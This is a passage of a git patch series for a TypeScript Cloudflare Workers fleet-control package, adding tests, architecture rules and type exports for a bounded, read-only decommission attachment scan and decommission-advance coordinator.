'1c3482eb38516849afb66c2b303a216a39a3946e602a27234d52922a5d7b0293', + evidenceCount: 2, + ordinaryInventorySha256: + '4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945', + namespaceInventorySha256: + 'def04ac77fe26c1a976ff1a49bba63c2aaba7d547843733a1db279560b949fc9', + namespaceIndex: 0, + namespaceName: 'fleet', + pageSha256: + '2ac417d32ad8b417715caee181af9a3f4dca29e57a9cf5e8f897abd89d53b894', + pageItemCount: 1, + itemOffset: 0, + pageNumber: 0, + seenCursorSha256: [], + totalDispatchItems: 1, + dispatchEvidenceSum256: '0'.repeat(64), + dispatchEvidenceCount: 0, + }, + providerFetchAttemptsReserved: 12, + }); + if (dispatchPending.status !== 'pending') { + throw new Error('expected pending dispatch scan'); + } + await expect( + dispatchClient.advanceDecommissionAttachmentScan({ + progress: dispatchPending.progress, + maxProviderRequests: 9, + }), + ).resolves.toEqual({ + status: 'attached', + attachment: { + plane: 'dispatch', + scriptName: 'dispatch', + dispatchNamespace: 'fleet', + }, + providerFetchAttemptsReserved: 9, + }); + + let activeWorld: AttachmentWorld = { + ordinary: [ + { id: 'first', versions: [{ id: 'v1', percentage: 100 }] }, + { id: 'second', versions: [{ id: 'v2', percentage: 100 }] }, + ], + namespaces: [], + }; + const changingFixture = recordingFetch((request) => + worldHandler(activeWorld)(request), + ); + const changingClient = client(changingFixture.fetch); + const pending = await changingClient.advanceDecommissionAttachmentScan({ + progress: initial, + maxProviderRequests: 9, + }); + expect(pending.status).toBe('pending'); + if (pending.status !== 'pending') throw new Error('expected pending scan'); + activeWorld = { + ordinary: [ + { id: 'first', versions: [{ id: 'v1', percentage: 100 }] }, + { id: 'changed', versions: [{ id: 'v2', percentage: 100 }] }, + ], + namespaces: [], + }; + await expect( + changingClient.advanceDecommissionAttachmentScan({ + progress: pending.progress, + maxProviderRequests: 12, + }), + ).resolves.toEqual({ status: 'drift' }); + + const abort = new AbortController(); + const abortReason = new Error('stop bounded scan'); + abort.abort(abortReason); + await expect( + emptyClient.advanceDecommissionAttachmentScan({ + progress: initial, + maxProviderRequests: 12, + signal: abort.signal, + }), + ).rejects.toBe(abortReason); + + const sentinel = new Error('provider read failed'); + sentinel.name = 'CloudflareAttachmentScanDriftError'; + const sentinelSignal = new AbortController().signal; + Object.defineProperty(sentinelSignal, 'throwIfAborted', { + value() { + throw sentinel; + }, + }); + await expect( + emptyClient.advanceDecommissionAttachmentScan({ + progress: initial, + maxProviderRequests: 12, + signal: sentinelSignal, + }), + ).rejects.toBe(sentinel); + + const basePending = { + status: 'pending' as const, + progress: initial, + attachments: [] as const, + providerFetchAttemptsReserved: 3, + }; + expect(mapDecommissionAttachmentScanChunk(basePending)).toEqual({ + status: 'pending', + progress: initial, + providerFetchAttemptsReserved: 3, + }); + expect( + Object.keys(mapDecommissionAttachmentScanChunk(basePending)), + ).toEqual(['status', 'progress', 'providerFetchAttemptsReserved']); + + expect( + mapDecommissionAttachmentScanChunk({ + status: 'attached', + attachment: { + plane: 'ordinary', + scriptName: 'ordinary', + dispatchNamespace: 'must-be-stripped', + token: 'must-be-stripped', + } as never, + providerFetchAttemptsReserved: 3, + }), + ).toEqual({ + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'ordinary' }, + providerFetchAttemptsReserved: 3, + }); + expect( + mapDecommissionAttachmentScanChunk({ + status: 'attached', + attachment: { + plane: 'dispatch', + scriptName: 'dispatch', + dispatchNamespace: 'fleet', + token: 'must-be-stripped', + } as never, + providerFetchAttemptsReserved: 3, + }), + ).toEqual({ + status: 'attached', + attachment: { + plane: 'dispatch', + scriptName: 'dispatch', + dispatchNamespace: 'fleet', + }, + providerFetchAttemptsReserved: 3, + }); + + const expectExactMapperFailure = ( + operation: () => unknown, + message: string, + ) => { + let refusal: unknown; + try { + operation(); + } catch (error) { + refusal = error; + } + expect(refusal).toBeInstanceOf(Error); + expect((refusal as Error).message).toBe(message); + }; + for (const chunk of [ + { + ...basePending, + attachments: [{ plane: 'ordinary' as const, scriptName: 'unexpected' }], + }, + { + status: 'complete' as const, + evidenceSha256: 'a'.repeat(64), + evidenceCount: 2, + attachments: [{ plane: 'ordinary' as const, scriptName: 'unexpected' }], + providerFetchAttemptsReserved: 3, + }, + ]) { + expectExactMapperFailure( + () => mapDecommissionAttachmentScanChunk(chunk), + 'bounded attachment scan returned unexpected accumulated attachments', + ); + } + for (const attachment of [ + { plane: 'dispatch', scriptName: 'broken' }, + { plane: 'dispatch', scriptName: 'broken', dispatchNamespace: '' }, + { + plane: 'unknown', + scriptName: 'broken', + dispatchNamespace: 'fleet', + }, + ]) { + expectExactMapperFailure( + () => + mapDecommissionAttachmentScanChunk({ + status: 'attached', + attachment: attachment as never, + providerFetchAttemptsReserved: 3, + }), + 'bounded attachment scan returned malformed dispatch attachment', + ); + } + expectExactMapperFailure( + () => mapDecommissionAttachmentScanChunk({ status: 'unknown' } as never), + 'bounded attachment scan returned unknown result', + ); + }); + it('keeps the scan friend off the root while retaining its internal callable seam', () => { type Equal = (() => Value extends Left ? 1 : 2) extends < @@ -1878,6 +2164,7 @@ describe('Cloudflare Worker attachment scan', () => { : false = true; expect('advanceCloudflareWorkerAttachmentScan' in fleetRoot).toBe(false); + expect('mapDecommissionAttachmentScanChunk' in fleetRoot).toBe(false); expect(typeof advanceCloudflareWorkerAttachmentScan).toBe('function'); expect(initialWorkerAttachmentScan).toBe( initialWorkerAttachmentScanFromState, diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index 33457059..03c6996c 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -15,6 +15,7 @@ import { ActiveRouteAttestationError } from '../src/active-route.js'; import { WorkerDeploymentError } from '../src/deployment-error.js'; import { canonicalDeploymentEgressPolicy, + externalEgressProxyScriptName, externalPlatformResourceGroupId, externalReleaseTopology, externalStateScriptName, @@ -26,6 +27,8 @@ import type { ApplicationR2BucketSnapshot, DatabaseExport, DatabaseReference, + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, DeploymentSecrets, DeploymentSpec, ExternalMutationFence, @@ -237,6 +240,7 @@ function platformProfile( class FakeApi implements WorkersForPlatformsApi { readonly calls: string[] = []; + residualEvents: string[] | undefined; failSecrets = false; failUpload = false; failDelete = false; @@ -340,6 +344,7 @@ class FakeApi implements WorkersForPlatformsApi { plane: 'ordinary' | 'dispatch'; }>[] > { + this.residualEvents?.push('attachments'); return this.databaseAttachments; } @@ -559,6 +564,7 @@ class FakeApi implements WorkersForPlatformsApi { } async inspectControlWorker(scriptName: string) { + this.residualEvents?.push(`control:${scriptName}`); const inspection = this.controlWorkers.get(scriptName); return inspection ? { @@ -596,6 +602,7 @@ class FakeApi implements WorkersForPlatformsApi { } async hasDurableObjectNamespace(namespaceId: string): Promise { + this.residualEvents?.push(`namespace:${namespaceId}`); this.namespaceExistenceChecks.push(namespaceId); return ( this.remainingNamespaceIds.has(namespaceId) || @@ -608,6 +615,7 @@ class FakeApi implements WorkersForPlatformsApi { async listDurableObjectNamespaces( scriptName: string, ): Promise { + this.residualEvents?.push(`namespaces:${scriptName}`); return [...(this.namespaceIdsByScript.get(scriptName) ?? [])].sort(); } @@ -796,6 +804,7 @@ class FakeApi implements WorkersForPlatformsApi { } | undefined > { + this.residualEvents?.push(`release:${scriptName}`); this.inspectedScriptNames.push(scriptName); const stateWorker = this.dispatchWorkers.get(scriptName); if (stateWorker) @@ -906,6 +915,7 @@ class FakeApi implements WorkersForPlatformsApi { } async getHostRouting(): Promise { + this.residualEvents?.push('host'); return this.routeOwner ? JSON.stringify(this.routeOwner) : undefined; } @@ -932,6 +942,7 @@ class FakeApi implements WorkersForPlatformsApi { } async getScriptInventory(_namespaceId: string, scriptName: string) { + this.residualEvents?.push(`inventory:${scriptName}`); return this.scriptInventories.get(scriptName); } } @@ -3182,6 +3193,270 @@ describe('WorkersForPlatformsBackend', () => { expect(api.calls).not.toContain('delete-inventory'); }); + it('exposes a bounded attachment scanner only when the client supplies one', async () => { + const absentBackend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: new FakeApi(), + hostRoutingKvId: 'host-routes', + }); + expect(absentBackend.advanceDecommissionAttachmentScan).toBeUndefined(); + expect('advanceDecommissionAttachmentScan' in absentBackend).toBe(false); + expect( + Object.hasOwn(absentBackend, 'advanceDecommissionAttachmentScan'), + ).toBe(false); + + const input: DecommissionAttachmentScanInput = { + progress: { + version: 1, + target: { kind: 'd1', databaseId: 'db-acme' }, + evidenceSha256: '0'.repeat(64), + evidenceCount: 0, + stage: 'ordinary-script-inventory', + scriptIndex: 0, + }, + maxProviderRequests: 12, + signal: new AbortController().signal, + }; + const result = Object.freeze({ + status: 'drift', + } as const satisfies DecommissionAttachmentScanResult); + let receivedThis: WorkersForPlatformsApi | undefined; + let receivedInput: DecommissionAttachmentScanInput | undefined; + const capability = vi.fn(function ( + this: WorkersForPlatformsApi, + candidate: DecommissionAttachmentScanInput, + ) { + receivedThis = this; + receivedInput = candidate; + return Promise.resolve(result); + }); + const capableClient = Object.assign(new FakeApi(), { + advanceDecommissionAttachmentScan: capability, + }); + const capableBackend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: capableClient, + hostRoutingKvId: 'host-routes', + }); + + expect(typeof capableBackend.advanceDecommissionAttachmentScan).toBe( + 'function', + ); + expect('advanceDecommissionAttachmentScan' in capableBackend).toBe(true); + expect( + Object.hasOwn(capableBackend, 'advanceDecommissionAttachmentScan'), + ).toBe(true); + await expect( + capableBackend.advanceDecommissionAttachmentScan?.(input), + ).resolves.toBe(result); + expect(capability).toHaveBeenCalledTimes(1); + expect(receivedThis).toBe(capableClient); + expect(receivedInput).toBe(input); + }); + + it('keeps owned D1 residual checks independent from the legacy attachment scan', async () => { + type AssertionPath = 'residual' | 'legacy'; + + const database: DatabaseReference = { + id: 'db-acme', + name: deployment.databaseName, + created: false, + }; + const physicalScriptName = externalReleaseScriptName(deployment); + const stateName = externalStateScriptName(deployment); + const proxyName = externalEgressProxyScriptName(deployment); + const record: FleetRecord = { + tenantTag: deployment.tenantTag, + backend: 'workers-for-platforms', + environment: deployment.environment, + scriptName: deployment.scriptName, + databaseId: database.id, + databaseName: database.name, + schemaVersion: deployment.schemaVersion, + artifactVersion: 'etag-v1', + desiredSpecDigest: deploymentSpecDigest(deployment), + activeRelease: { + physicalScriptName, + specDigest: deploymentSpecDigest(deployment), + artifactVersion: 'etag-v1', + releaseSchemaVersion: deployment.schemaVersion, + }, + durableObjectBindings: [ + { + name: 'MAINTENANCE', + className: 'Maintenance', + namespaceId: 'namespace-maintenance', + }, + ], + routeHostname: deployment.routeHostname, + phase: 'database-deleting', + updatedAt: '2026-08-11T00:00:00.000Z', + }; + const prefix = (path: AssertionPath): readonly string[] => [ + 'fence', + 'host', + ...(path === 'legacy' ? ['attachments'] : []), + ]; + const successEvents = (path: AssertionPath): readonly string[] => [ + ...prefix(path), + `release:${physicalScriptName}`, + `inventory:${physicalScriptName}`, + `control:${stateName}`, + `control:${proxyName}`, + `namespaces:${stateName}`, + 'namespace:namespace-maintenance', + 'fence', + ]; + const scenario = async ( + path: AssertionPath, + configure: (client: FakeApi) => void | Promise = () => {}, + candidateRecord: FleetRecord = record, + ) => { + const client = new FakeApi(); + client.exists = false; + await configure(client); + const events: string[] = []; + client.residualEvents = events; + const assertOwned = vi.fn(async () => { + events.push('fence'); + }); + const assertionFence: ExternalMutationFence = { + mutationLeaseTtlMs: 60_000, + assertOwned, + }; + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routes', + }); + const invoke = () => + path === 'legacy' + ? backend.assertDatabaseDetached( + deployment, + candidateRecord, + database, + assertionFence, + ) + : backend.assertDatabaseDeletionResidualsRemoved( + deployment, + candidateRecord, + database, + assertionFence, + ); + return { assertOwned, events, invoke }; + }; + const failureRows: readonly Readonly<{ + configure?: (client: FakeApi) => void | Promise; + record?: FleetRecord; + message: string; + expectedEvents(path: AssertionPath): readonly string[]; + }>[] = [ + { + record: { ...record, databaseId: 'db-other' }, + message: + 'refusing to attest database detachment for a different deployment', + expectedEvents: () => ['fence'], + }, + { + configure(client) { + client.routeOwner = hostRoutingTarget(physicalScriptName); + }, + message: `host route '${record.routeHostname}' remains before D1 deletion`, + expectedEvents: () => ['fence', 'host'], + }, + { + configure(client) { + client.exists = true; + }, + message: `dispatch release '${physicalScriptName}' remains before D1 deletion`, + expectedEvents: (path) => [ + ...prefix(path), + `release:${physicalScriptName}`, + ], + }, + { + configure(client) { + client.scriptInventories.set(physicalScriptName, { + scriptName: physicalScriptName, + tenantTag: deployment.tenantTag, + environment: deployment.environment, + databaseId: database.id, + routeHostname: deployment.routeHostname, + }); + }, + message: `script inventory '${physicalScriptName}' remains before D1 deletion`, + expectedEvents: (path) => [ + ...prefix(path), + `release:${physicalScriptName}`, + `inventory:${physicalScriptName}`, + ], + }, + { + async configure(client) { + await client.uploadControlWorker({ + scriptName: stateName, + bindings: [], + }); + }, + message: `trusted platform Worker '${stateName}' remains before D1 deletion`, + expectedEvents: (path) => [ + ...prefix(path), + `release:${physicalScriptName}`, + `inventory:${physicalScriptName}`, + `control:${stateName}`, + ], + }, + { + configure(client) { + client.remainingNamespaceIds.add('namespace-maintenance'); + }, + message: + "Durable Object namespace 'namespace-maintenance' remains before D1 deletion", + expectedEvents: (path) => [...successEvents(path).slice(0, -1)], + }, + ]; + + for (const path of ['residual', 'legacy'] as const) { + for (const row of failureRows) { + const test = await scenario(path, row.configure, row.record ?? record); + await expect(test.invoke()).rejects.toMatchObject({ + message: row.message, + }); + expect(test.events).toEqual(row.expectedEvents(path)); + expect(test.assertOwned).toHaveBeenCalledTimes(1); + } + } + + const legacyAttachment = await scenario('legacy', (client) => { + client.databaseAttachments.push({ + plane: 'ordinary', + scriptName: 'unrelated-ordinary-worker', + }); + }); + await expect(legacyAttachment.invoke()).rejects.toMatchObject({ + message: + "database 'db-acme' remains bound to Worker scripts before D1 deletion: ordinary:unrelated-ordinary-worker", + }); + expect(legacyAttachment.events).toEqual(prefix('legacy')); + expect(legacyAttachment.assertOwned).toHaveBeenCalledTimes(1); + + const residualSuccess = await scenario('residual', (client) => { + client.databaseAttachments.push({ + plane: 'ordinary', + scriptName: 'must-not-be-listed', + }); + }); + await expect(residualSuccess.invoke()).resolves.toBeUndefined(); + expect(residualSuccess.events).toEqual(successEvents('residual')); + expect(residualSuccess.events).not.toContain('attachments'); + expect(residualSuccess.assertOwned).toHaveBeenCalledTimes(2); + + const legacySuccess = await scenario('legacy'); + await expect(legacySuccess.invoke()).resolves.toBeUndefined(); + expect(legacySuccess.events).toEqual(successEvents('legacy')); + expect(legacySuccess.assertOwned).toHaveBeenCalledTimes(2); + }); + it('requires positive route, script, and inventory absence before D1 deletion', async () => { const api = new FakeApi(); const physicalScriptName = externalReleaseScriptName(deployment); diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index b2fad686..dda02c43 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -8,11 +8,14 @@ import { pathToFileURL } from 'node:url'; import { describe, expect, it, vi } from 'vitest'; import { ActiveRouteAttestationError } from '../src/active-route.js'; import type { DurableDatabaseExportStore } from '../src/cloudflare-client.js'; +import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; import { WorkerDeploymentError } from '../src/deployment-error.js'; import { plainWorkerIngressModule } from '../src/plain-worker-backend.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; import type { DatabaseReference, + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, DeploymentSecrets, DeploymentSpec, ExternalMutationFence, @@ -3225,4 +3228,32 @@ export default { // #then the refusal reaches the caller intact, percentages included expect(failure).toBe(split); }); + + it('carries the route-owned bounded scanner through both Wrangler layers', async () => { + const routeApi = new FakeRouteApi(); + const input: DecommissionAttachmentScanInput = { + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: database.id, + }), + maxProviderRequests: 12, + }; + const result: DecommissionAttachmentScanResult = { status: 'drift' }; + const calls: Array = + []; + Object.defineProperty(routeApi, 'advanceDecommissionAttachmentScan', { + configurable: true, + value(this: unknown, actual: DecommissionAttachmentScanInput) { + calls.push([this, actual]); + return Promise.resolve(result); + }, + }); + const subject = backend(new FakeRunner(), { routeApi }); + + expect(typeof subject.advanceDecommissionAttachmentScan).toBe('function'); + await expect( + subject.advanceDecommissionAttachmentScan?.(input), + ).resolves.toBe(result); + expect(calls).toEqual([[routeApi, input]]); + }); }); diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index 24955960..3e1155c3 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -6,11 +6,14 @@ import { tmpdir } from 'node:os'; import { dirname, join } from 'node:path'; import { describe, expect, it, vi } from 'vitest'; import type { DurableDatabaseExportStore } from '../src/cloudflare-client.js'; +import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; import { assertSupportedPlainWorkerBindings, plainWorkerBindingsToProviderShape, } from '../src/provider-binding-inventory.js'; import type { + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, ExternalMutationFence, PlainWorkerRouteApi, PlainWorkerUploadIntent, @@ -1258,6 +1261,55 @@ describe('WranglerPlainWorkerProvisioningApi exports', () => { await expectExportScratchRemoved(outputPath); }); + it('conditionally forwards a bounded decommission scanner with exact identity', async () => { + const absent = await api(new FakeRunner()); + expect(absent.advanceDecommissionAttachmentScan).toBeUndefined(); + expect('advanceDecommissionAttachmentScan' in absent).toBe(false); + expect(Object.hasOwn(absent, 'advanceDecommissionAttachmentScan')).toBe( + false, + ); + + const input: DecommissionAttachmentScanInput = { + progress: initialWorkerAttachmentScan({ kind: 'd1', databaseId: 'db' }), + maxProviderRequests: 12, + }; + const result: DecommissionAttachmentScanResult = { status: 'drift' }; + const calls: Array = + []; + const capableRouteApi = routeApi(); + let capabilityReads = 0; + Object.defineProperty( + capableRouteApi, + 'advanceDecommissionAttachmentScan', + { + configurable: true, + get() { + capabilityReads += 1; + return function ( + this: unknown, + actual: DecommissionAttachmentScanInput, + ) { + calls.push([this, actual]); + return Promise.resolve(result); + }; + }, + }, + ); + const capable = await api(new FakeRunner(), { + routeApi: capableRouteApi, + }); + expect(typeof capable.advanceDecommissionAttachmentScan).toBe('function'); + expect('advanceDecommissionAttachmentScan' in capable).toBe(true); + expect(Object.hasOwn(capable, 'advanceDecommissionAttachmentScan')).toBe( + true, + ); + await expect( + capable.advanceDecommissionAttachmentScan?.(input), + ).resolves.toBe(result); + expect(calls).toEqual([[capableRouteApi, input]]); + expect(capabilityReads).toBe(1); + }); + it('refuses an empty durable location', async () => { const store: DurableDatabaseExportStore = { async write(input) { From 5c6b4d7cccef5f23e217fbadc84bd72e43c9b764 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 01:55:52 +0400 Subject: [PATCH 031/169] docs(fleet-control): fix bounded scan wording --- packages/fleet-control/src/types.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 75379495..294589d2 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -1485,7 +1485,7 @@ export interface ProvisioningBackend { * Advances one bounded, read-only attachment scan chunk. * * It must use the same provider authority as this backend's teardown - * mutations, never perform an unbounded fallback, and returns no durable + * mutations, never perform an unbounded fallback, and return no durable * absence or deletion authority. */ advanceDecommissionAttachmentScan?( From c5ad1c5b03c2ddb55f56bd537716c7900d69bcc5 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 05:53:53 +0400 Subject: [PATCH 032/169] feat(fleet-control): add bounded decommission advance --- .dependency-cruiser.cjs | 18 +- packages/fleet-control/CLAUDE.md | 2 +- .../scripts/packed-consumer-test.mjs | 118 + .../fleet-control/src/application-bindings.ts | 549 +++- packages/fleet-control/src/backend-switch.ts | 1 + ...cloudflare-worker-attachment-scan-state.ts | 9 + .../src/cloudflare-worker-attachment-scan.ts | 5 +- .../fleet-control/src/decommission-advance.ts | 1515 +++++++++++ packages/fleet-control/src/index.ts | 15 + packages/fleet-control/src/provision.ts | 153 +- .../src/workers-for-platforms-backend.ts | 61 +- .../test/application-bindings.test.ts | 507 +++- .../fleet-control/test/backend-switch.test.ts | 66 +- .../test/decommission-intent.test.ts | 27 + .../fixtures/fleet-state-harness-probe.ts | 312 ++- packages/fleet-control/test/provision.test.ts | 2412 ++++++++++++++++- .../test/state-store.harness.test.ts | 244 +- .../test/worker-attachment-scan.test.ts | 8 + .../workers-for-platforms-backend.test.ts | 56 +- .../decommission-advance-imports-provider.ts | 1 + .../architecture-positive-controls.test.mjs | 15 + 21 files changed, 5797 insertions(+), 297 deletions(-) create mode 100644 packages/fleet-control/src/decommission-advance.ts create mode 100644 scripts/architecture-fixtures/decommission-advance-imports-provider.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 0713f88a..a6339b0a 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -194,7 +194,7 @@ module.exports = { 'Persisted decommission state is a provider-free authority boundary. Keeping provider clients, operations, and error classification out of its reachable graph prevents the Fleet D1 codec from acquiring credential or transport dependencies.', from: { path: [ - '^packages/fleet-control/src/(?:strict-plain-data|cloudflare-worker-attachment-scan-state|decommission-intent|state-store)\\.ts$', + '^packages/fleet-control/src/(?:strict-plain-data|cloudflare-worker-attachment-scan-state|decommission-intent|decommission-advance|state-store)\\.ts$', '^scripts/architecture-fixtures/decommission-state-imports-provider\\.ts$', ], }, @@ -203,6 +203,22 @@ module.exports = { reachable: true, }, }, + { + name: 'fleet-control-decommission-advance-is-transport-neutral', + severity: 'error', + comment: + 'The bounded decommission coordinator depends only on provider-neutral ports and state. Keeping provider clients, Wrangler, export stores, root barrels, and unbounded lifecycle coordinators out of its reachable graph preserves the Worker-safe transport boundary.', + from: { + path: [ + '^packages/fleet-control/src/decommission-advance\\.ts$', + '^scripts/architecture-fixtures/decommission-advance-imports-provider\\.ts$', + ], + }, + to: { + path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|database-export-store|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + reachable: true, + }, + }, { name: 'fleet-control-strict-plain-data-is-import-free', severity: 'error', diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index 2644e70f..4c960c6f 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -13,7 +13,7 @@ Public behavior: Source map: -- `provision.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines +- `provision.ts`, `decommission-advance.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines (the bounded normal-decommission coordinator is isolated in `decommission-advance.ts`) - `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence - `cloudflare-client-config.ts`, `strict-plain-data.ts`, `cloudflare-worker-attachment-scan-state.ts`, `cloudflare-worker-attachment-scan.ts`: shared SDK retry bounds, strict resumable state, and the request-bounded account-wide D1/R2 attachment scanner diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 996d6591..87250c59 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -184,6 +184,12 @@ try { ActiveRouteAttestationError, CloudflareApiPlainWorkerBackend, CloudflareProvisioningClient, + DecommissionAdvanceCapabilityError, + DecommissionAdvanceRestartError, + DecommissionAdvanceTokenDeploymentError, + DecommissionAdvanceTokenError, + DecommissionAdvanceTokenFutureError, + DecommissionAdvanceTokenOperationError, D1CloudflareApiRateCoordinator, PlainWorkerBackend, ProcessLocalCloudflareApiRateCoordinator, @@ -194,6 +200,7 @@ try { attestConvergedActiveRoute, attestFleetRecordActiveRoute, auditFleetDrift, + advanceDecommissionDeployment, decommissionDeployment, forceDecommissionDeployment, deploymentSpecDigest, @@ -204,11 +211,15 @@ try { type ActiveRouteAttestation, type ActiveRouteExpectation, type AttestConvergedActiveRouteOptions, + type AdvanceDecommissionDeploymentOptions, type CloudflareApiPlainWorkerBackendOptions, type CloudflareApiRateCoordinator, type DeploymentEgressPolicy, type DeploymentSpec, type DecommissionAdvanceIntent, + type DecommissionAdvanceAction, + type DecommissionAdvanceCapability, + type DecommissionAdvanceResult, type DecommissionAdvanceToken, type DecommissionAdvanceTokenClassification, type DecommissionAttachmentProgress, @@ -222,6 +233,7 @@ try { type DecommissionOperationMode, type DecommissionRecordIdentity, type FleetRecord, + type FleetStateStore, type FleetSettlementContext, type FleetSettlementEntry, type FleetSettlementHost, @@ -268,6 +280,30 @@ import { CloudflareAttachmentScanProgressError } from '@proofoftech/fleet-contro import { CloudflareAttachmentScanDriftError } from '@proofoftech/fleet-control'; // @ts-expect-error the pure mapper is a deep package-private seam. import { mapDecommissionAttachmentScanChunk } from '@proofoftech/fleet-control'; +// @ts-expect-error raw action parsing is package-private. +import { decommissionAdvanceActionFromUnknown } from '@proofoftech/fleet-control'; +// @ts-expect-error token parsing is package-private. +import { parseDecommissionAdvanceToken } from '@proofoftech/fleet-control'; +// @ts-expect-error token classification is package-private. +import { classifyDecommissionAdvanceToken } from '@proofoftech/fleet-control'; +// @ts-expect-error intent normalization is package-private. +import { normalizeDecommissionAdvanceIntent } from '@proofoftech/fleet-control'; +// @ts-expect-error provider budget validation is package-private. +import { assertWorkerAttachmentProviderRequestBudget } from '@proofoftech/fleet-control'; +// @ts-expect-error one-step R2 deletion is package-private. +import { advanceApplicationR2Deletion } from '@proofoftech/fleet-control'; +// @ts-expect-error one-step R2 deletion result is package-private. +import type { ApplicationR2DeletionAdvance } from '@proofoftech/fleet-control'; +// @ts-expect-error release derivation is package-private. +import { activeExternalRelease } from '@proofoftech/fleet-control'; +// @ts-expect-error release inventory derivation is package-private. +import { retainedExternalReleases } from '@proofoftech/fleet-control'; +// @ts-expect-error immutable mapping assertion is package-private. +import { assertImmutableDeploymentMapping } from '@proofoftech/fleet-control'; +// @ts-expect-error persisted database reconciliation is package-private. +import { reconcilePersistedDatabase } from '@proofoftech/fleet-control'; +// @ts-expect-error intent codec errors are package-private. +import { DecommissionAdvanceIntentError } from '@proofoftech/fleet-control'; import type { FleetDispatchEnv } from '@proofoftech/fleet-control/workers/dispatch'; import { createEgressProxyFetch, @@ -286,6 +322,7 @@ declare const coordinator: CloudflareApiRateCoordinator; declare const deploymentSpec: DeploymentSpec; declare const provisioningBackend: ProvisioningBackend; declare const fleetRecord: FleetRecord; +declare const fleetStateStore: FleetStateStore; declare const decommissionIntent: DecommissionAdvanceIntent; declare const decommissionToken: DecommissionAdvanceToken; declare const decommissionClassification: DecommissionAdvanceTokenClassification; @@ -353,6 +390,51 @@ const wfpDecommissionScan = api.advanceDecommissionAttachmentScan?.( ); const databaseResidualAssertion = provisioningBackend.assertDatabaseDeletionResidualsRemoved; +const decommissionActions: readonly DecommissionAdvanceAction[] = [ + { kind: 'start' }, + { kind: 'continue', token: decommissionToken }, + { kind: 'restart-blocked', token: decommissionToken }, +]; +const decommissionCapabilities: readonly DecommissionAdvanceCapability[] = [ + 'attachment-scan', + 'database-residuals', + 'application-r2-inspection', + 'application-r2-empty', + 'application-r2-delete', +]; +const decommissionAdvanceOptions: AdvanceDecommissionDeploymentOptions = { + backend: provisioningBackend, + store: fleetStateStore, + spec: deploymentSpec, + action: decommissionActions[0]!, + maxProviderRequests: 12, + randomUUID: () => '00000000-0000-4000-8000-000000000001', +}; +const decommissionAdvanceResults: readonly DecommissionAdvanceResult[] = [ + { status: 'pending', token: decommissionToken }, + { + status: 'blocked', + token: decommissionToken, + purpose: decommissionPurpose, + attachment: decommissionAttachment, + }, + { + status: 'complete', + token: decommissionToken, + result: { + record: fleetRecord, + databaseExport: { + databaseId: fleetRecord.databaseId, + location: 'r2://exports/database.sql', + sha256: 'a'.repeat(64), + size: 1, + }, + }, + }, +]; +const boundedDecommissionAdvance = advanceDecommissionDeployment( + decommissionAdvanceOptions, +); type PlainWorkerPortRecords = readonly [ PlainWorkerCleanupOutcome, PlainWorkerDatabaseExportResult, @@ -431,6 +513,11 @@ void [ backendDecommissionScan, wfpDecommissionScan, databaseResidualAssertion, + decommissionActions, + decommissionCapabilities, + decommissionAdvanceOptions, + decommissionAdvanceResults, + 